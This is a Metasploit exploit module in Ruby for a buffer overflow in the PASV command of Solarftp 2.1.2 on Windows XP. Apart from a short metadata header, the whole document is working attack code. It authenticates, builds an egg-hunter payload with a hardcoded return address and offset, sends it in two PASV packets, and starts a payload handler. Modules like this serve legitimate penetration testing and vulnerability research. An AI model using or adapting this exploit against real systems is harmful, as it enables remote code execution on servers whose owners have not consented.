# Exploit Title: Solarftp v2.1.2 PASV buffer overflow
# Date: Aug 17, 2011
# Author: qnix
# Software Link: http://solarftp.com/files/solarftps-setup.exe
# Version: 2.1.2
# Tested on: Windows XP Universal
# Detailed info: http://0x80.org/blog/?p=545

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking
	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Egghunter
	
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
				You must have valid credentials to trigger this vulnerability. Also, you
				ony get one chance.
			},
			'Author'         => 'qnix',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://0x80.org/blog/?p=545'],
				],
			'DefaultOptions' =>
				{
					'WfsDelay' => 45,
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment'       => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
													   #1001BD23   . FFE0   JMP EAX  @sfsweb.dll
					[ 'Windows XP Universal',       { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
				],
			'DisclosureDate' => 'Aug 17 2011',
			'DefaultTarget'  => 0))
	end


	def exploit
		connect_login
		print_status("Trying target #{target.name}")

		print_status("Creating Egg Hunter")
		eggoptions =
		{
		:checksum => true,
		:eggtag   => "W00T"
		}
		hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
		
		fix = "\x11" 		# To fix some left overs from uncontrolled buffer
							# to avoid access violation.
		pk1 = make_nops(75)
		pk1 << fix
		pk1 << make_nops(20)
		pk1 << hunter
		pk1 << make_nops((100-fix.length-hunter.length))
		pk1 << [target.ret].pack('V')
		pk1 << egg
		pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
		print_status("Sending first packet...")
		send_cmd( ["PASV",pk1], false)
		
		pk2 = make_nops(3000)
		print_status("Sending second packet...")
		send_cmd( ["PASV",pk2], false)
		
		handler
		disconnect
	end

end